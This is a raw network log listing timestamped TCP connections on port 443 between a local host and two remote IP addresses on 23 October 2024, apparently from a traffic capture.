Oct 23, 2024 21:04:44.738357067 CEST	443	49968	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.739335060 CEST	49968	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.739335060 CEST	49968	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.739356995 CEST	443	49968	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.739371061 CEST	443	49968	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.740041971 CEST	443	49967	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.740724087 CEST	49967	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.740724087 CEST	49967	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.740751028 CEST	443	49967	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.740767002 CEST	443	49967	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.752099991 CEST	443	49969	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.752841949 CEST	49969	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.752854109 CEST	443	49969	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.753190041 CEST	49969	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.753196001 CEST	443	49969	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.765302896 CEST	443	49966	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.765778065 CEST	49966	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.765791893 CEST	443	49966	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.766230106 CEST	49966	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.766236067 CEST	443	49966	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.786664963 CEST	443	49970	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.787185907 CEST	49970	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.787198067 CEST	443	49970	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.787630081 CEST	49970	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.787636042 CEST	443	49970	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.872553110 CEST	443	49968	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.872641087 CEST	443	49968	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.872689962 CEST	49968	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.873020887 CEST	49968	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.873038054 CEST	443	49968	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.873054028 CEST	49968	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.873061895 CEST	443	49968	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.875591040 CEST	49971	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.875617027 CEST	443	49971	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.875828028 CEST	49971	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.876188993 CEST	49971	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.876199961 CEST	443	49971	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.877144098 CEST	443	49967	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.877229929 CEST	443	49967	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.877294064 CEST	49967	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.877568960 CEST	49967	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.877584934 CEST	443	49967	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.877599001 CEST	49967	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.877604008 CEST	443	49967	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.879662991 CEST	49972	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.879692078 CEST	443	49972	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.879842043 CEST	49972	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.880011082 CEST	49972	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.880027056 CEST	443	49972	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.886852980 CEST	443	49969	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.886935949 CEST	443	49969	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.887047052 CEST	443	49969	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.887090921 CEST	49969	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.887134075 CEST	49969	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.887317896 CEST	49969	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.887326956 CEST	443	49969	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.887377977 CEST	49969	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.887382030 CEST	443	49969	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.895996094 CEST	49973	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.896032095 CEST	443	49973	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.896121025 CEST	49973	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.896286011 CEST	49973	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.896291018 CEST	443	49973	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.905213118 CEST	443	49966	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.905400038 CEST	443	49966	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.905551910 CEST	49966	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.905626059 CEST	49966	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.905626059 CEST	49966	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.905637026 CEST	443	49966	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.905643940 CEST	443	49966	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.908025980 CEST	49974	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.908056021 CEST	443	49974	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.908118010 CEST	49974	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.908299923 CEST	49974	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.908313036 CEST	443	49974	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.942173004 CEST	443	49970	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.942338943 CEST	443	49970	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.942461014 CEST	49970	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.942548037 CEST	49970	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.942548037 CEST	49970	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.942564011 CEST	443	49970	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.942574024 CEST	443	49970	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.946280956 CEST	49975	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.946325064 CEST	443	49975	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:44.946572065 CEST	49975	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.946572065 CEST	49975	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:44.946619034 CEST	443	49975	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.617371082 CEST	443	49971	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.617903948 CEST	49971	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.617918968 CEST	443	49971	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.618374109 CEST	49971	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.618379116 CEST	443	49971	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.645271063 CEST	443	49972	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.645828009 CEST	49972	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.645843029 CEST	443	49972	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.646300077 CEST	49972	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.646311045 CEST	443	49972	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.660109997 CEST	443	49973	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.660640955 CEST	49973	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.660661936 CEST	443	49973	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.661114931 CEST	49973	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.661120892 CEST	443	49973	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.665914059 CEST	443	49974	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.666321039 CEST	49974	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.666336060 CEST	443	49974	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.666697979 CEST	49974	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.666702986 CEST	443	49974	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.714517117 CEST	443	49975	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.715184927 CEST	49975	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.715198040 CEST	443	49975	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.715681076 CEST	49975	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.715686083 CEST	443	49975	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.753129005 CEST	443	49971	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.753159046 CEST	443	49971	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.753202915 CEST	443	49971	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.753217936 CEST	49971	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.753283978 CEST	49971	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.753473043 CEST	49971	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.753489017 CEST	443	49971	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.753504038 CEST	49971	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.753510952 CEST	443	49971	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.756258011 CEST	49976	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.756285906 CEST	443	49976	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.756345034 CEST	49976	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.756498098 CEST	49976	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.756514072 CEST	443	49976	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.784147024 CEST	443	49972	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.784215927 CEST	443	49972	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.784343958 CEST	49972	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.784373999 CEST	49972	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.784388065 CEST	443	49972	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.784398079 CEST	49972	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.784403086 CEST	443	49972	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.786494017 CEST	49977	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.786531925 CEST	443	49977	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.786602020 CEST	49977	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.786709070 CEST	49977	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.786725998 CEST	443	49977	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.813157082 CEST	443	49973	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.813225985 CEST	443	49973	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.813271999 CEST	49973	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.813291073 CEST	443	49973	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.813338041 CEST	443	49973	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.813466072 CEST	49973	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.813466072 CEST	49973	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.813483953 CEST	443	49973	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.813508034 CEST	49973	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.813519001 CEST	443	49973	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.813802004 CEST	443	49974	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.814076900 CEST	443	49974	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.814160109 CEST	49974	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.814260006 CEST	49974	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.814264059 CEST	443	49974	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.814299107 CEST	49974	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.814301968 CEST	443	49974	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.816128016 CEST	49978	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.816153049 CEST	443	49978	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.816248894 CEST	49979	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.816261053 CEST	443	49979	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.816277027 CEST	49978	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.816318035 CEST	49979	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.816441059 CEST	49978	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.816452026 CEST	443	49978	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.816474915 CEST	49979	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.816488981 CEST	443	49979	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.853944063 CEST	443	49975	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.854172945 CEST	443	49975	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.854373932 CEST	49975	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.854438066 CEST	49975	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.854438066 CEST	49975	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.854454041 CEST	443	49975	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.854461908 CEST	443	49975	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.860150099 CEST	49980	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.860186100 CEST	443	49980	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:45.860269070 CEST	49980	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.860420942 CEST	49980	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:45.860435009 CEST	443	49980	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.526504993 CEST	443	49976	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.526988029 CEST	49976	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.527033091 CEST	443	49976	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.527924061 CEST	49976	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.527930021 CEST	443	49976	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.564701080 CEST	443	49977	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.565191031 CEST	49977	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.565220118 CEST	443	49977	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.565730095 CEST	49977	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.565736055 CEST	443	49977	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.578181028 CEST	443	49979	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.579004049 CEST	49979	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.579044104 CEST	443	49979	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.579994917 CEST	49979	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.580001116 CEST	443	49979	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.583327055 CEST	443	49978	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.583920002 CEST	49978	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.583935022 CEST	443	49978	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.584495068 CEST	49978	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.584498882 CEST	443	49978	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.628319025 CEST	443	49980	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.628766060 CEST	49980	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.628793955 CEST	443	49980	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.629205942 CEST	49980	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.629215002 CEST	443	49980	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.667220116 CEST	443	49976	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.667330027 CEST	443	49976	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.667396069 CEST	49976	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.668448925 CEST	49976	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.668477058 CEST	443	49976	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.668488979 CEST	49976	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.668494940 CEST	443	49976	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.671192884 CEST	49981	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.671255112 CEST	443	49981	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.671330929 CEST	49981	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.671519995 CEST	49981	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.671535969 CEST	443	49981	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.703365088 CEST	443	49977	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.703402996 CEST	443	49977	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.703450918 CEST	443	49977	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.703461885 CEST	49977	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.703506947 CEST	49977	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.703648090 CEST	49977	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.703670025 CEST	443	49977	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.703680038 CEST	49977	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.703685045 CEST	443	49977	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.706357956 CEST	49982	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.706401110 CEST	443	49982	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.706454039 CEST	49982	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.706626892 CEST	49982	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.706636906 CEST	443	49982	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.717756033 CEST	443	49979	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.718564034 CEST	443	49979	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.718616009 CEST	49979	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.718657970 CEST	49979	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.718657970 CEST	49979	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.718674898 CEST	443	49979	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.718683958 CEST	443	49979	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.720928907 CEST	49983	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.720964909 CEST	443	49983	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.721049070 CEST	49983	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.721239090 CEST	49983	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.721255064 CEST	443	49983	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.723117113 CEST	443	49978	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.723411083 CEST	443	49978	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.723556995 CEST	49978	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.723584890 CEST	49978	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.723598957 CEST	443	49978	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.723608017 CEST	49978	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.723613024 CEST	443	49978	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.725753069 CEST	49984	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.725761890 CEST	443	49984	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.725825071 CEST	49984	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.725922108 CEST	49984	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.725933075 CEST	443	49984	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.769010067 CEST	443	49980	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.769184113 CEST	443	49980	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.769247055 CEST	49980	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.769280910 CEST	49980	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.769294977 CEST	443	49980	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.769309998 CEST	49980	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.769315004 CEST	443	49980	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.771620989 CEST	49985	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.771644115 CEST	443	49985	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:46.771704912 CEST	49985	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.771859884 CEST	49985	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:46.771873951 CEST	443	49985	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.429964066 CEST	443	49981	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.430355072 CEST	49981	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.430382013 CEST	443	49981	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.430795908 CEST	49981	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.430802107 CEST	443	49981	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.476239920 CEST	443	49983	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.476807117 CEST	49983	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.476845980 CEST	443	49983	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.476865053 CEST	443	49982	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.477227926 CEST	49983	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.477233887 CEST	443	49983	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.477724075 CEST	49982	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.477752924 CEST	443	49982	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.478087902 CEST	49982	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.478092909 CEST	443	49982	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.492476940 CEST	443	49984	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.492846012 CEST	49984	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.492881060 CEST	443	49984	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.493257046 CEST	49984	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.493262053 CEST	443	49984	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.544723034 CEST	443	49985	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.545197010 CEST	49985	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.545212984 CEST	443	49985	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.545650005 CEST	49985	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.545654058 CEST	443	49985	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.571420908 CEST	443	49981	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.571504116 CEST	443	49981	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.571660042 CEST	49981	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.571722984 CEST	49981	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.571732044 CEST	443	49981	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.571765900 CEST	49981	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.571770906 CEST	443	49981	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.575762033 CEST	49986	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.575774908 CEST	443	49986	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.575898886 CEST	49986	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.576097012 CEST	49986	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.576111078 CEST	443	49986	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.611588955 CEST	443	49983	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.611763000 CEST	443	49983	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.611865044 CEST	49983	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.614784956 CEST	443	49982	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.614953995 CEST	443	49982	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.615034103 CEST	49982	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.620640993 CEST	49987	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:47.620686054 CEST	443	49987	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:47.620817900 CEST	49987	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:47.621572018 CEST	49987	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:47.621587992 CEST	443	49987	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:47.630757093 CEST	49983	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.630763054 CEST	443	49983	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.632133961 CEST	443	49984	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.632405043 CEST	443	49984	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.632668972 CEST	49984	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.638055086 CEST	49984	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.638058901 CEST	443	49984	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.638068914 CEST	49984	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.638072968 CEST	443	49984	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.639703989 CEST	49982	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.639723063 CEST	443	49982	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.639734030 CEST	49982	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.639739037 CEST	443	49982	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.644242048 CEST	49988	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.644280910 CEST	443	49988	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.644351959 CEST	49988	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.644474983 CEST	49989	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.644495964 CEST	443	49989	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:47.644551992 CEST	49989	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.644645929 CEST	49988	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:47.644660950 CEST	443	49988	13.107.253.45	192.168.2.6
